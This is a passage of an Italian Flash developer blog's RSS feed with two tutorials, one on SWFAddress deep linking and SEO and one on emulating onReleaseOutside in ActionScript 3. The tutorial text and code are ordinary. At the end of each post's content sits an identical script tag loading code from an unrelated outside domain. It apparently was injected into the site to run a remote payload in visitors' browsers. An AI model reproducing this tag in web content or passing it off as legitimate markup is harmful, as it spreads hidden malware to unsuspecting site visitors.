<p>Uno dei metodi utilizzati per il posizionamento di siti fortemente aggrappati alle tecnologie client √® creare delle &#8220;<a href="http://en.wikipedia.org/wiki/Landing_page">landing pages</a>&#8221; che rimandino in qualche modo al sito flash \ ajax \ flex \ ecc.. ma il buon esito non √® certo assicurato, anzi.</p>
<p style="text-align: center"><img src="http://www.flashfuck.it/wp-content/uploads/2007/07/seo.jpg" alt="SEO con Flash e Ajax" /></p>
<p><span id="more-14"></span><br />
Da come ho impostato l&#8217;inizio dell&#8217;articolo sembra quasi che voglia vendervi un rimedio miracoloso per il seo su siti &#8220;client&#8221; <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /><br />
invece no, tutto gratuito, ed oltre tutto open source! <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' />  In Bulgaria c&#8217;√® un&#8217;aziendina, la &#8220;<em>asual</em>&#8220;, che si √® inventata l&#8217; <a href="http://www.asual.com/swfaddress/">SWFAddress</a>, ossia un sistema basato su javascript e fortemente legato a <a href="http://blog.deconcept.com/swfobject/">SWFObject</a> che permette il deep linking con flash, ajax e le altre tecnologie lato client.</p>
<p><strong>Come si usa e come √® stato fatto</strong><br />
La logica √® quella dell&#8217;url rewriting e dei permalink, ma questi vengono creati runtime dagli script residenti sul client.</p>
<p>Le classi per Actionscript 2 e 3 di SWFAddress forniscono delle API al player per interagire con l&#8217;oggetto &#8220;asual&#8221; nella libreria javascript che si andr√† ad includere nella pagina.</p>
<p>Nel codice html della pagina baster√† includere SWFObject e SWFAddress (ricordarsi, prima uno e <strong>poi</strong> l&#8217;altro, altrimenti non funzia)</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p14code36'); return false;">View Code</a> HTML</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table width="100%" ><tr id="p1436"><td class="code" id="p14code36"><pre class="html" style="font-family:monospace;">&lt;script src=&quot;swfobject/swfobject.js&quot; type=&quot;text/javascript&quot;&gt;&lt;/script&gt;
&lt;script src=&quot;swfaddress/swfaddress.js&quot; type=&quot;text/javascript&quot;&gt;&lt;/script&gt;</pre></td></tr></table></div>

<p>Nel codice actionscript bisogner√† importare ed istanziare la classe SWFAddress e definire i pattern di navigazione desiderati.<br />
In linea di massima ogni qual volta si &#8220;cambier√† sezione&#8221; del sito baster√† aggiungere alla funzione qualcosa tipo</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p14code37'); return false;">View Code</a> ACTIONSCRIPT</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table width="100%" ><tr id="p1437"><td class="code" id="p14code37"><pre class="actionscript" style="font-family:monospace;">SWFAddress.<span style="color: #006600;">setValue</span><span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">'/nomesezione/'</span><span style="color: #66cc66;">&#41;</span>;</pre></td></tr></table></div>

<p>e nella barra del browser cambier√† l&#8217;url.<br />
Per quanto riguarda il processo inverso (ossia forzare una sezione del sito in flash partendo da un url digitato sulla barra del browser) invece √® necessario definire gli stessi pattern all&#8217;interno del metodo</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p14code38'); return false;">View Code</a> ACTIONSCRIPT</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table width="100%" ><tr id="p1438"><td class="code" id="p14code38"><pre class="actionscript" style="font-family:monospace;">SWFAddress.<span style="color: #006600;">onChange</span></pre></td></tr></table></div>

<p>in modo che venga a crearsi una reciproca corrispondenza tra funzioni flash e url nel browser.</p>
<p>SWFAddress per flash √® basato su &#8220;ExternalInterface&#8221; disponibile dal flash player 8 (classe dedita all&#8217;interazione tra actionscript e javascript).<br />
L&#8217;oggetto javascript asual dichiarato nella libreria di SWFAddress definisce varie funzioni che permettono di riscrivere secondo la sintassi desiderata l&#8217;url della pagina in permanenza partendo da un url dinamico, di decodificare un URL riscritto precedentemente e addirittura di inserire gli indirizzi codificati a runtime delle pagine nella history del browser.<br />
Il tutto √® reso possibile dalla rivalutazione del token html &#8220;#&#8221;. Il cancelletto # indica le ancore all&#8217;interno di una pagina html,  cliccando su un&#8217;ancora la pagina si &#8220;sposta&#8221; focalizzando sul punto visibile pi√π vicino all&#8217;ancora ma <strong>non</strong> viene ricaricata la pagina bench√® l&#8217;URL della pagina stessa venga riscritto.</p>
<p><strong>IMHO</strong><br />
Il difetto maggiore di SWFAddress a mio avviso √® la mancanza di link effettivi. Questo &#8220;hack delle ancore&#8221; (passatemi il termine) non risolve il problema principale in materia SEO di piattaforme RIA come Flash: l&#8217;assoluta assenza di collegamenti. Sicuramente SWFAddress √® un passo da giganti per flash, il &#8220;novello&#8221; flex, e ajax, tanto che aziende affermate come <a href="http://www.2advanced.com">2advanced</a> sfruttano questo tipo di hack per la navigazione del proprio sito, tuttavia ribadisco che la mancanza di link tra le pagine √® una forte limitazione in termini di ottimizzazione per i motori di ricerca.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.flashfuck.it/2007/07/18/seo-con-javascript-per-actionscript-flash-flex-ajax-si-chiama-asual-swfaddress-ed-e-opensource/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Gestire onReleaseOutside con Actionscript 3</title>
		<link>http://www.flashfuck.it/2007/07/17/gestire-onreleaseoutside-con-actionscript-3/</link>
		<comments>http://www.flashfuck.it/2007/07/17/gestire-onreleaseoutside-con-actionscript-3/#comments</comments>
		<pubDate>Tue, 17 Jul 2007 17:44:48 +0000</pubDate>
		<dc:creator>pigiuz</dc:creator>
				<category><![CDATA[ActionScript]]></category>
		<category><![CDATA[ActionScript 3]]></category>
		<category><![CDATA[Flash]]></category>
		<category><![CDATA[Tutorials]]></category>
		<category><![CDATA[Source]]></category>

		<guid isPermaLink="false">http://www.flashfuck.it/2007/07/17/gestire-onreleaseoutside-con-actionscript-3/</guid>
		<description><![CDATA[Fino ad actionscript 2 pulsanti e movieclip gestivano anche l&#8217;evento onReleaseOutside. Con l&#8217;avvento di flash 9 (pardon, cs3), il release outside √® stato depennato, non si sa bene per quale motivo, per√≤, per la disperazione di grandi e piccini, quell&#8217;evento non c&#8217;√® pi√π.
Gestire l&#8217;onReleaseOutside in actionscript 3 √® per√≤ pi√π facile di quanto si possa [...]]]></description>
			<content:encoded><![CDATA[<p>Fino ad actionscript 2 pulsanti e movieclip gestivano anche l&#8217;evento onReleaseOutside. Con l&#8217;avvento di flash 9 (pardon, cs3), il release outside √® stato depennato, non si sa bene per quale motivo, per√≤, per la disperazione di grandi e piccini, quell&#8217;evento non c&#8217;√® pi√π.</p>
<p>Gestire l&#8217;onReleaseOutside in actionscript 3 √® per√≤ pi√π facile di quanto si possa credere.<br />
Scaricatevi questo file &gt;&gt; <a href="http://www.flashfuck.it/wp-content/uploads/2007/07/as3onreleaseoutside-flashfuckit.zip" title="onReleaseOutside actionscript 3">onReleaseOutside actionscript 3<span id="more-13"></span></a></p>
<p>Dentro ci troverete due classi:<br />
la classe <em>interessante</em> √® &#8220;Button.as&#8221;.</p>
<p>La classe Button estende la classe nativa di actionscript 3 &#8220;SimpleButton&#8221; e aggiunge semplicemente il gestore dell&#8217;evento release outside.</p>
<p>Con as3 √® possibile rilevare l&#8217; onRelease e l&#8217; onRollOut di un SimpleButton tramite i gestori di evento della classe MouseEvent.<br />
Ma come √® possibile combinare questi due eventi per gestire l&#8217; onReleaseOutside?<br />
La logica √® la seguente:</p>
<ol>
<li>all&#8217; onRollOut del mouse sul pulsante controlla se il mouse √® ancora premuto</li>
<li>se il mouse √® ancora premuto aggiungi un event listener sul release del mouse rispetto allo stage</li>
</ol>
<p>Niente di complesso&#8230; diamo un&#8217;occhiata al codice:</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p13code40'); return false;">View Code</a> ACTIONSCRIPT</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table width="100%" ><tr id="p1340"><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
</pre></td><td class="code" id="p13code40"><pre class="actionscript" style="font-family:monospace;"><span style="color: #808080; font-style: italic;">//gestore del press</span>
&nbsp;
internal <span style="color: #000000; font-weight: bold;">function</span> <span style="color: #0066CC;">onPress</span><span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">e</span>:MouseEvent<span style="color: #66cc66;">&#41;</span>:<span style="color: #0066CC;">void</span>
&nbsp;
<span style="color: #66cc66;">&#123;</span>
&nbsp;
 <span style="color: #0066CC;">trace</span><span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">&quot;press&quot;</span><span style="color: #66cc66;">&#41;</span>;
&nbsp;
<span style="color: #66cc66;">&#125;</span><span style="color: #808080; font-style: italic;">//gestore del release</span>
&nbsp;
internal <span style="color: #000000; font-weight: bold;">function</span> <span style="color: #0066CC;">onRelease</span><span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">e</span>:MouseEvent<span style="color: #66cc66;">&#41;</span>:<span style="color: #0066CC;">void</span>
&nbsp;
<span style="color: #66cc66;">&#123;</span>
&nbsp;
 <span style="color: #0066CC;">trace</span><span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">&quot;release&quot;</span><span style="color: #66cc66;">&#41;</span>;
&nbsp;
<span style="color: #66cc66;">&#125;</span>
&nbsp;
<span style="color: #808080; font-style: italic;">//gestore del FAMIGERATO release outside</span>
&nbsp;
internal <span style="color: #000000; font-weight: bold;">function</span> <span style="color: #0066CC;">onReleaseOutside</span><span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">e</span>:MouseEvent<span style="color: #66cc66;">&#41;</span>:<span style="color: #0066CC;">void</span>
&nbsp;
<span style="color: #66cc66;">&#123;</span>
&nbsp;
 <span style="color: #0066CC;">trace</span><span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">&quot;release outside&quot;</span><span style="color: #66cc66;">&#41;</span>;
&nbsp;
<span style="color: #66cc66;">&#125;</span>
&nbsp;
<span style="color: #808080; font-style: italic;">//gestore del rollout</span>
&nbsp;
internal <span style="color: #000000; font-weight: bold;">function</span> <span style="color: #0066CC;">onRollOut</span><span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">e</span>:MouseEvent<span style="color: #66cc66;">&#41;</span>:<span style="color: #0066CC;">void</span>
&nbsp;
<span style="color: #66cc66;">&#123;</span>
&nbsp;
 <span style="color: #0066CC;">trace</span><span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">&quot;rollout&quot;</span><span style="color: #66cc66;">&#41;</span>;
&nbsp;
 <span style="color: #b1b100;">if</span><span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">e</span>.<span style="color: #006600;">buttonDown</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span>
&nbsp;
<span style="color: #808080; font-style: italic;">//QUI AGGIUNGO L'EVENTO PER GESTIRE IL RELEASE OUTSIDE</span>
&nbsp;
 	<span style="color: #0066CC;">e</span>.<span style="color: #0066CC;">target</span>.<span style="color: #0066CC;">stage</span>.<span style="color: #006600;">addEventListener</span><span style="color: #66cc66;">&#40;</span>MouseEvent.<span style="color: #006600;">MOUSE_UP</span>, <span style="color: #0066CC;">onReleaseOutside</span><span style="color: #66cc66;">&#41;</span>;
&nbsp;
 <span style="color: #66cc66;">&#125;</span>
&nbsp;
<span style="color: #66cc66;">&#125;</span>
&nbsp;
<span style="color: #808080; font-style: italic;">//gestore del rollover</span>
&nbsp;
internal <span style="color: #000000; font-weight: bold;">function</span> <span style="color: #0066CC;">onRollOver</span><span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">e</span>:MouseEvent<span style="color: #66cc66;">&#41;</span>:<span style="color: #0066CC;">void</span>
&nbsp;
<span style="color: #66cc66;">&#123;</span>
&nbsp;
 <span style="color: #0066CC;">trace</span><span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">&quot;rollover&quot;</span><span style="color: #66cc66;">&#41;</span>;
&nbsp;
<span style="color: #808080; font-style: italic;">//al rollover del mouse sul pulsante elimino il releaseoutside</span>
&nbsp;
 <span style="color: #0066CC;">e</span>.<span style="color: #0066CC;">target</span>.<span style="color: #0066CC;">stage</span>.<span style="color: #006600;">removeEventListener</span><span style="color: #66cc66;">&#40;</span>MouseEvent.<span style="color: #006600;">MOUSE_UP</span>, <span style="color: #0066CC;">onReleaseOutside</span><span style="color: #66cc66;">&#41;</span>;
&nbsp;
<span style="color: #66cc66;">&#125;</span></pre></td></tr></table></div>

<p>Nel file zip allegato trovate il resto della classe Button e una classe flashfuckit (bel nome eh? <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> ) per visualizzare l&#8217;esempio.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.flashfuck.it/2007/07/17/gestire-onreleaseoutside-con-actionscript-3/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
	</channel>
</rss>
